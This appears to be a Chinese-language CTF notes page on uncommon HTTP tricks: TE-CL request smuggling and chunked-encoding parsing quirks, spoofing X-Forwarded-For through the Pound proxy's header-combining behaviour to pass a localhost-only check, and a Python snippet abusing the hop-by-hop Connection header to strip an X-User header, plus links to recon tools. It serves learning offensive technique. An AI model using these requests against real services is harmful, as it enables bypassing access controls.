HTTP

本文旨在一些较少见的 HTTP trick 和 tools。

Trick

TE-CL走私

【Web】D^3CTF之浅聊d3pythonhttp——TE-CL请求走私_ctf a = pickle.loads(data)-CSDN博客

关于HTTP Request Smuggling(HTTP请求夹带)的二三事-先知社区

Chunked Transfer Encoding

  • 每个块由两行组成:
    1. 块大小(十六进制数字,不包括末尾的 \r\n
    2. 块数据
  • 最后以 0\r\n\r\n 结束
  • 一般优先级是 TE>CL

image-20251217212829051

flask模块

如果存在 ransfer-Encoding: chunked/CHuNkeD 此处 大小写均会转为小写再处理(),并且 TE 优先级大于 CL

web模块

image-20251217211151396

要求必须等于小写的 chunked 才分块处理,否则按照 CL 处理。

X-Forwarded-For 解析规则

如果标头是可组合的,则会保存该标头最后一次出现的值。
现在,如果我们在请求中添加一个 X-Forwarded-For 标头会发生什么?

1
2
3
4
GET /ping HTTP/1.1
Host: dev.rpc-service.ductf
Auth-Key: fake_token
X-Forwarded-For: 127.0.0.1

Response: 响应:

1
2
3
4
5
6
HTTP/1.1 403 
Content-Length: 138
Content-Type: text/plain

Access denied: You are not allowed:to access this service. Only 127.0.0.1 are allowed access..
The IP recieved was: 127.0.0.1, 172.18.0.1

啊,现在收到的 IP 是字符串 127.0.0.1, 172.18.0.1 。为什么?
根据 RFC 9110 第 5.2 节,头部字段的值可以用逗号( , )字符组合,例如:

1
X-Forwarded-For: 127.0.0.1, 1.2.3.4

正如预期的那样,Pound 遵循了 RFC 规范,并实现了组合字段值 src/log.c ,如第 257 - 298 行所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void
save_forwarded_header (POUND_HTTP *phttp)
{
[...]
hname = get_forwarded_header_name (phttp);
if ((hdr = http_header_list_locate_name (&phttp->request.headers,
hname, strlen (hname))) != NULL)
{
if (is_combinable_header (hdr))
{
if ((val = http_header_get_value (hdr)) != NULL)
phttp->orig_forwarded_header = xstrdup (val);
}
[...]

如果找到 X-Forwarded-For 标头,并且可以组合(由 is_combinable_header 确定,标头在 src/mvh.inc 中定义),则使用 http_header_get_value 获取标头的值,并在使用 xstrdup 复制后将其复制到 orig_forwarded_header

现在,如果我们添加另一个 X-Forwarded-For 标头会发生什么?它应该被合并为 X-Forwarded-For: <IP_1>, <IP_2>, <IP_3> ,对吧?

1
2
3
4
5
6
7
8
9
10
11
GET /ping HTTP/1.1
Host: dev.rpc-service.ductf
Auth-Key: fake_token
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 1.2.3.4
HTTP/1.1 403
Content-Length: 124
Content-Type: text/plain

Access denied: You are not allowed:to access this service. Only 127.0.0.1 are allowed access..
The IP recieved was: 1.2.3.4

逐跳报头

滥用 HTTP hop-by-hop 请求头 - 小辛同学的博客

1
2
3
4
import requests

r = requests.get("http://localhost:5555/dashboard", headers={"Connection":"close, X-User"})
print(r.text)

Connection指定禁止转发字段X-User,让Go反向代理不将X-User 头转发到 Flask 应用。

Tools

文件Fuzz乱读

1
https://github.com/ev0A/ArbitraryFileReadList

HTTP 参数发现工具

HTTP参数发现工具-Arjun_arjun工具-CSDN博客

js中URL子域名提取

Threezh1/JSFinder: JSFinder is a tool for quickly extracting URLs and subdomains from JS files on a website.